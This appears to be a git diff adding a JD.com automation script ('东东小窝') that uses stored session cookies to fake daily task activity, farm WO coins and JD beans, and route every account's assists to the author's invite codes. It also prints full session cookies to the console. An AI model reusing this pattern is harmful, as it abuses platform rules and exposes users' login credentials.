Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_small_home.js b/jd_small_home.js new file mode 100644 index 0000000..67a9bad --- /dev/null +++ b/jd_small_home.js @@ -0,0 +1,916 @@ +/* +东东小窝 jd_small_home.js +Last Modified time: 2021-1-22 14:27:20 +现有功能: +做日常任务任务,每日抽奖(有机会活动京豆,使用的是免费机会,不消耗WO币) +自动使用WO币购买装饰品可以获得京豆,分别可获得5,20,50,100,200,400,700,1200京豆) + +注:目前使用此脚本会给脚本内置的两个码进行助力,请知晓 + +活动入口:京东APP我的-游戏与更多-东东小窝 +或 京东APP首页-搜索 玩一玩-DIY理想家 +微信小程序入口: +来客有礼 - > 首页 -> 东东小窝 +网页入口(注:进入后不能再此刷新,否则会有问题,需重新输入此链接进入) +https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +===============Quantumultx=============== +[task_local] +#东东小窝 +16 22 * * * jd_small_home.js, tag=东东小窝, img-url=https://raw.githubusercontent.com/58xinian/icon/master/ddxw.png, enabled=true + +================Loon============== +[Script] +cron "16 22 * * *" script-path=jd_small_home.js, tag=东东小窝 + +===============Surge================= +东东小窝 = type=cron,cronexp="16 22 * * *",wake-system=1,timeout=3600,script-path=jd_small_home.js + +============小火箭========= +东东小窝 = type=cron,script-path=jd_small_home.js, cronexpr="16 22 * * *", timeout=3600, enable=true + */ +const $ = new Env('东东小窝'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = ''; +let isPurchaseShops = false;//是否一键加购商品到购物车,默认不加购 +$.helpToken = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.newShareCodes = []; +const JD_API_HOST = 'https://lkyl.dianpusoft.cn/api'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await smallHome(); + } + } + await updateInviteCodeCDN('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateSmallHomeInviteCode.json'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.token = $.helpToken[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ($.newShareCodes.length > 1) { + console.log('----', (i + 1) % $.newShareCodes.length) + let code = $.newShareCodes[(i + 1) % $.newShareCodes.length]['code'] + console.log(`\n${$.UserName} 去给自己的下一账号 ${decodeURIComponent($.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/) && $.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/)[1])}助力,助力码为 ${code}\n`) + await createAssistUser(code, $.createAssistUserID); + } + console.log(`\n去帮助作者\n`) + await helpFriends(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function smallHome() { + await loginHome(); + await ssjjRooms(); + // await helpFriends(); + if (!$.isUnLock) return; + await createInviteUser(); + await queryDraw(); + await lottery(); + await doAllTask(); + await queryByUserId(); + await queryFurnituresCenterList(); + await showMsg(); +} +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} +async function lottery() { + if ($.freeDrawCount > 0) { + await drawRecord($.lotteryId); + } else { + console.log(`免费抽奖机会今日已使用\n`) + } +} + +async function doChannelsListTask(taskId, taskType) { + await queryChannelsList(taskId); + for (let item of $.queryChannelsList) { + if (item.showOrder === 1) { + await $.wait(1000) + await followChannel(taskId, item.id) + await queryDoneTaskRecord(taskId, taskType); + } + } +} +async function helpFriends() { + // await updateInviteCode(); + // if (!$.inviteCodes) await updateInviteCodeCDN(); + if ($.inviteCodes && $.inviteCodes['inviteCode']) { + for (let item of $.inviteCodes.inviteCode) { + if (!item) continue + await createAssistUser(item, $.createAssistUserID); + } + } +} +async function doAllTask() { + await queryAllTaskInfo();//获取任务详情列表$.taskList + console.log(` 任务名称 完成进度 `) + for (let item of $.taskList) { + console.log(`${item.ssjjTaskInfo.name} ${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || (item.ssjjTaskInfo.type === 1 ? 4: 1)}`) + } + for (let item of $.taskList) { + if (item.ssjjTaskInfo.type === 1) { + //邀请好友助力自己 + $.createAssistUserID = item.ssjjTaskInfo.id; + console.log(`createAssistUserID:${item.ssjjTaskInfo.id}`) + console.log(`\n\n助力您的好友:${item.doneNum}人`) + } + if (item.ssjjTaskInfo.type === 2) { + //每日打卡 + if (item.doneNum === (item.ssjjTaskInfo.awardOfDayNum || 1)) { + console.log(`${item.ssjjTaskInfo.name}已完成(${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || 1})`) + continue + } + await clock(item.ssjjTaskInfo.id, item.ssjjTaskInfo.awardWoB) + } + // 限时连连看 + if (item.ssjjTaskInfo.type === 3) { + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { + await game(item.ssjjTaskInfo.id, item.doneNum); + } + } + if (item.ssjjTaskInfo.type === 4) { + //关注店铺 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { + await followShops('followShops', item.ssjjTaskInfo.id);//一键关注店铺 + await queryDoneTaskRecord(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type); + } + } + if (item.ssjjTaskInfo.type === 5) { + //浏览店铺 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { + await browseChannels('browseShops', item.ssjjTaskInfo.id, item.browseId); + } + } + if (item.ssjjTaskInfo.type === 6) { + //关注4个频道 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + await doChannelsListTask(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type) + } + if (item.ssjjTaskInfo.type === 7) { + //浏览3个频道 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { + await browseChannels('browseChannels', item.ssjjTaskInfo.id, item.browseId); + } + } + isPurchaseShops = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS : isPurchaseShops) : ($.getdata("isPurchaseShops") ? $.getdata("isPurchaseShops") : isPurchaseShops); + if (isPurchaseShops && item.ssjjTaskInfo.type === 9) { + //加购商品 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { + await followShops('purchaseCommodities', item.ssjjTaskInfo.id);//一键加购商品 + await queryDoneTaskRecord(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type); + } + } + if (item.ssjjTaskInfo.type === 10) { + //浏览商品 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) { + await browseChannels('browseCommodities', item.ssjjTaskInfo.id, item.browseId); + } + } + if (item.ssjjTaskInfo.type === 11) { + //浏览会场 + if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) + continue + } + for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) { + await browseChannels('browseMeetings' ,item.ssjjTaskInfo.id, item.browseId); + } + // await browseChannels('browseMeetings' ,item.ssjjTaskInfo.id, item.browseId); + // await doAllTask(); + } + } +} +function queryFurnituresCenterList() { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-furnitures-center/queryFurnituresCenterList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + let { buy, list } = data.body; + $.canBuyList = []; + list.map((item, index) => { + if (buy.some((buyItem) => buyItem === item.id)) return + $.canBuyList.push(item); + }) + $.canBuyList.sort(sortByjdBeanNum); + if ($.canBuyList[0].needWoB <= $.woB) { + await furnituresCenterPurchase($.canBuyList[0].id, $.canBuyList[0].jdBeanNum); + } else { + console.log(`\n兑换${$.canBuyList[0].jdBeanNum}京豆失败:当前wo币${$.woB}不够兑换所需的${$.canBuyList[0].needWoB}WO币`) + message += `【装饰领京豆】兑换${$.canBuyList[0].jdBeanNum}京豆失败,原因:WO币不够\n`; + } + // for (let canBuyItem of $.canBuyList) { + // if (canBuyItem.needWoB <= $.woB) { + // await furnituresCenterPurchase(canBuyItem.id, canBuyItem.jdBeanNum); + // break + // } + // } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//装饰领京豆 +function furnituresCenterPurchase(id, jdBeanNum) { + return new Promise(resolve => { + $.post(taskPostUrl(`ssjj-furnitures-center/furnituresCenterPurchase/${id}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + message += `【装饰领京豆】${jdBeanNum}兑换成功\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取详情 +function queryByUserId() { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-wo-home-info/queryByUserId/2`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + message += `【小窝名】${data.body.name}\n`; + $.woB = data.body.woB; + message += `【当前WO币】${data.body.woB}\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取需要关注的频道列表 +function queryChannelsList(taskId) { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-task-channels/queryChannelsList/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + $.queryChannelsList = data.body; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//浏览频道,浏览会场,浏览商品,浏览店铺API +function browseChannels(functionID ,taskId, browseId) { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/${functionID}/${taskId}/${browseId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`${functionID === 'browseChannels' ? '浏览频道' : functionID === 'browseMeetings' ? '浏览会场' : functionID === 'browseShops' ? '浏览店铺' : '浏览商品'}`, data) + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//记录已关注的频道 +function queryDoneTaskRecord(taskId, taskType) { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/queryDoneTaskRecord/${taskType}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//一键关注店铺,一键加购商品API +function followShops(functionID, taskId) { + return new Promise(async resolve => { + $.get(taskUrl(`/ssjj-task-record/${functionID}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + console.log(`${functionID === 'followShops'? '一键关注店铺': '一键加购商品'}结果:${data.head.msg}`); + // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//关注频道API +function followChannel(taskId, channelId) { + return new Promise(async resolve => { + $.get(taskUrl(`/ssjj-task-record/followChannel/${channelId}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function createInviteUser() { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/createInviteUser`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + if (data.body.id) { + console.log(`\n您的${$.name}shareCode(每天都是变化的):【${data.body.id}】\n`); + $.shareCode = data.body.id; + $.newShareCodes.push({ 'code': data.body.id, 'token': $.token, cookie }); + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function createAssistUser(inviteId, taskId) { + console.log(`${inviteId}, ${taskId}`, `${cookie}`); + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/createAssistUser/${inviteId}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + console.log(`\n给好友${data.body.inviteId}:【${data.head.msg}】\n`) + } + } else { + console.log(`助力失败${JSON.stringify(data)}}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function game(taskId, index, awardWoB = 100) { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/game/${index}/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + message += `【限时连连看】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function clock(taskId, awardWoB) { + return new Promise(resolve => { + $.get(taskUrl(`/ssjj-task-record/clock/${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + message += `【每日打卡】成功,活动${awardWoB}WO币\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryAllTaskInfo() { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-task-info/queryAllTaskInfo/2`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + $.taskList = data.body; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//免费抽奖 +function drawRecord(id) { + return new Promise(resolve => { + $.get(taskUrl(`ssjj-draw-record/draw/${id}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + if (data.body) { + message += `【免费抽奖】获得:${data.body.name}\n`; + } else { + message += `【免费抽奖】未中奖\n`; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询免费抽奖机会 +function queryDraw() { + return new Promise(resolve => { + $.get(taskUrl("ssjj-draw-center/queryDraw"), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + $.freeDrawCount = data.body.freeDrawCount;//免费抽奖次数 + $.lotteryId = data.body.center.id; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询是否开启了此活动 +function ssjjRooms() { + return new Promise(resolve => { + $.get(taskUrl("ssjj-rooms/info/%E5%AE%A2%E5%8E%85"), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.head.code === 200) { + $.isUnLock = data.body.isUnLock; + if (!$.isUnLock) { + console.log(`京东账号${$.index}${$.nickName}未开启此活动\n`); + //$.msg($.name, '', `京东账号${$.index}${$.nickName}未开启此活动\n点击弹窗去开启此活动( ̄▽ ̄)"`, {"open-url": "openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html%22%20%7D"}); + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function loginHome() { + return new Promise(resolve => { + const options = { + "url": "https://jdhome.m.jd.com/saas/framework/encrypt/pin?appId=6d28460967bda11b78e077b66751d2b0", + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "0", + "Content-Type": "application/json", + "Cookie": cookie, + "Host": "jdhome.m.jd.com", + "Origin": "https://jdhome.m.jd.com", + "Referer": "https://jdhome.m.jd.com/dist/taro/index.html/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + await login(data.data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function login(userName) { + return new Promise(resolve => { + const body = { + "body": { + "client": 2, + userName + } + }; + const options = { + "url": `${JD_API_HOST}/user-info/login`, + "body": JSON.stringify(body), + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "lkyl.dianpusoft.cn", + "Origin": "https://lkyl.dianpusoft.cn", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.head.code === 200) { + $.token = data.head.token; + $.helpToken.push(data.head.token) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function updateInviteCode(url = 'https://raw.githubusercontent.com/xxx/updateTeam/master/jd_updateSmallHomeInviteCode.json') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + } else { + $.inviteCodes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function updateInviteCodeCDN(url) { + return new Promise(async resolve => { + $.get({url, headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}, timeout: 200000}, async (err, resp, data) => { + try { + if (err) { + 